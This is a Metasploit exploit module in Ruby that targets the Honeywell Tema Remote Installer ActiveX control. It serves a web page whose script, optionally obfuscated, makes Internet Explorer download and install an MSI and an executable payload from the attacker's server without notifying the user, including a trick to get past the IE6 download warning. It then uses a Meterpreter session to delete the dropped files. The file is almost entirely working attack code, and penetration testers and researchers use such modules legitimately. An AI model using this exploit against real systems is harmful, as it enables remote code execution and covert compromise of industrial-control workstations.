##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Honeywell Tema Remote Installer ActiveX Remote Code Execution",
        'Description' => %q{
          This module exploits a vulnerability found in the Honeywell Tema ActiveX Remote
          Installer.  This ActiveX control can be abused by using the DownloadFromURL()
          function to install an arbitrary MSI from a remote location without checking source
          authenticity or user notification. This module has been tested successfully with
          the Remote Installer ActiveX installed with Honeywell EBI R410.1 - TEMA 5.3.0 and
          Internet Explorer 6, 7 and 8 on Windows XP SP3.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Billy Rios', # Vulnerability discovery
          'Terry McCorkle', # Vulnerability discovery
          'juan vazquez' # Metasploit
        ],
        'References' => [
          [ 'OSVDB', '76681' ],
          [ 'BID', '50078' ],
          [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-285-01' ]
        ],
        'Payload' => {
          'Space' => 2048,
          'StackAdjustment' => -3500
        },
        'DefaultOptions' => {
          'EXITFUNC' => "none",
          'InitialAutoRunScript' => 'migrate -k -f'
        },
        'Platform' => 'win',
        'Targets' => [
          # HoneyWell EBI R410.1 - TEMA 5.3.0
          # Tema_RemoteInstaller.ocx 1.0.0.0
          [ 'Automatic', {} ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2011-10-20',
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_getenv
            ]
          }
        },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ]
    )

    self.needs_cleanup = true
  end

  def exploit
    @dropped_files = [
      'payload.exe',
      'ThinClient_TemaKit.msi',
      'ThinClient_TemaKit.log'
    ]
    super
  end

  def on_new_session(session)
    if session.type == "meterpreter"
      session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")

      @dropped_files.each do |file|
        win_file = file.gsub("/", "\\\\")
        begin
          wintemp = session.sys.config.getenv('WINDIR')
          win_file = "#{wintemp}\\Temp\\#{win_file}"
          # Meterpreter should do this automatically as part of
          # fs.file.rm().  Until that has been implemented, remove the
          # read-only flag with a command.
          session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
          session.fs.file.rm(win_file)
          print_good("Deleted #{file}")
          true
        rescue ::Rex::Post::Meterpreter::RequestError
          print_error("Failed to delete #{win_file}")
          false
        end
      end
    end
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']

    # Windows 7 isn't normally supported because the user won't have write access to the
    # %WINDIR%/Temp directory, where the downloaded components are stored.
    if not (agent =~ /MSIE \d/ and agent =~ /NT 5\.1/) and agent !~ /Tema_RemoteInstaller/
      print_error("Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    # exec_payload.msi needs it to be named payload.exe
    # atm there isn't msi generation on the fly
    if request.uri =~ /payload\.exe$/
      return if ((p = regenerate_payload(cli)) == nil)

      data = generate_payload_exe({ :code => p.encoded })
      print_status("Sending payload")
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    if request.uri =~ /\.msi$/
      msi_source = ::File.join(Msf::Config.data_directory, "exploits", "exec_payload.msi")
      source = ::File.open(msi_source, "rb") { |fd| fd.read(fd.stat.size) }
      print_status("Sending msi")
      send_response(cli, source, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    if agent =~ /MSIE 6/
      # The 'setTimeout' trick allows to execute the installer on IE6 even if the user
      # doesn't click the warning popup when downloading the payload.
      # The ThinClient_TemaKit.msi installer name must be static.
      # <object id="obj" classid="clsid:E01DF79C-BE0C-4999-9B13-B5F7B2306E9B">
      js = <<-EOS
      var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
      setTimeout("obj.DownloadFromURL('#{get_uri}/ThinClient_TemaKit.msi');", 1000);
      obj.DownloadFromURL('#{get_uri}/payload.exe');
      EOS
    else
      js = <<-EOS
      var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
      obj.DownloadFromURL('#{get_uri}/payload.exe');
      obj.DownloadFromURL('#{get_uri}/ThinClient_TemaKit.msi');
      EOS
    end

    js.gsub!(/\t\t\t/, "")

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate(memory_sensitive: true)
    end

    html = <<-EOS
    <html>
    <body>
    </object>
    <script>
    #{js}
    </script>
    </body>
    </html>
    EOS

    print_status("Sending html")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end
